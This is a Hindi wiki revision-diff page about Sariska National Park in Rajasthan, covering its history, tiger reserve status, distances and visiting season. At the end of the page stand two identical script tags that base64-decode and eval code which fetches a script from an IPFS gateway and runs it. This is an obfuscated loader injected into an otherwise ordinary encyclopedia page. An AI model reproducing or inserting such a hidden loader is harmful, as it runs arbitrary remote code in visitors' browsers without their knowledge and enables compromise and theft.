"सरिस्का राष्ट्रीय उद्यान" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 17: पंक्ति 17:
 
*इस दौरान यहाँ पर जंगल के राजा को उसके परिवार के साथ घूमते हुए बड़ी आसानी से देखा जा सकता है।
 
*इस दौरान यहाँ पर जंगल के राजा को उसके परिवार के साथ घूमते हुए बड़ी आसानी से देखा जा सकता है।
  
 
+
==टीका-टिप्पणी और संदर्भ==
 +
==बाहरी कड़ियाँ==
 +
*[http://www.sariskanationalpark.com/ आधिकारिक वेबसाइट]
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{राष्ट्रीय उद्यान और अभयारण्य}}{{राजस्थान के पर्यटन स्थल}}
 
{{राष्ट्रीय उद्यान और अभयारण्य}}{{राजस्थान के पर्यटन स्थल}}
 
 
[[Category:राजस्थान]][[Category:राजस्थान के पर्यटन स्थल]][[Category:पर्यटन कोश]]
 
[[Category:राजस्थान]][[Category:राजस्थान के पर्यटन स्थल]][[Category:पर्यटन कोश]]
 
[[Category:राष्ट्रीय उद्यान और अभयारण्य]][[Category:गणराज्य संरचना कोश]]
 
[[Category:राष्ट्रीय उद्यान और अभयारण्य]][[Category:गणराज्य संरचना कोश]]
 
__INDEX__
 
__INDEX__

09:33, 31 अक्टूबर 2011 का अवतरण

सरिस्का बाघ उद्यान, अलवर

सरिस्का राष्ट्रीय उद्यान राजस्थान (भारत) के अलवर ज़िले में स्थित है। यह भारत के बाघ संरक्षित अभ्यारण्यों में से एक है। यह अभ्यारण्य 1958 ई. में बना था। इसके विकास के लिए 'विश्व वन्यजीव कोष' से भी सहायता प्राप्त हो रही है।

मुख्य बिन्दु

  • राजस्थान के अलवर ज़िले में अरावली की पहाड़ियों पर 800 वर्ग किलोमीटर के क्षेत्र में फैला सरिस्का मुख्य रूप से वन्य जीव अभयारण्य और टाइगर रिजर्व के लिए प्रसिद्ध है। इसके अलावा इस स्थान का ऐतिहासिक महत्त्व भी है।
  • यह दिल्ली से लगभग 200 किलोमीटर और जयपुर से 107 किमी की दूरी पर स्थित है।
  • सरिस्का में बने मंदिरों के अवशेषों में गौरवशाली अतीत की झलक दिखती है।
  • ईसापूर्व 5वीं शताब्दी के धर्मग्रन्थों में इस स्थान का उल्लेख मिलता है।
  • कहा जाता है कि पांडवों ने अपने वनवास के दौरान सरिस्का में आश्रय लिया था।
  • मध्यकाल में औरंगज़ेब ने अपने भाई को कैद करने के लिए कंकावड़ी क़िले का प्रयोग किया था।
  • 8वीं से 12वीं शताब्दी के दौरान यहाँ के अमीरों ने अनेक मंदिरों का निर्माण करवाया।
  • 20वीं शताब्दी में महाराजा जयसिंह ने सरिस्का को संरक्षित क्षेत्र बनाने के लिए अभियान चलाया।
  • आज़ादी के बाद 1958 में भारत सरकार ने इसे वन्यजीव अभयारण्य घोषित किया और 1979 में इसे प्रोजेक्ट टाईगर के अधीन लाया गया।
  • पहाड़ों और जंगलों से घिरा यह अभयारण स्तनधारी जानवरों, पक्षियों, सापों, बाघों और तेंदुओं के लिए ख़ास पहचान रखता है।
  • सरिस्का वन्यजीव अभयारण में पूरे साल सैलानियों की भीड़ लगी रहती है।
  • यहाँ पर जाने का सबसे अधिक अच्छा समय जून से अक्तूबर तक का है।
  • इस दौरान यहाँ पर जंगल के राजा को उसके परिवार के साथ घूमते हुए बड़ी आसानी से देखा जा सकता है।

टीका-टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>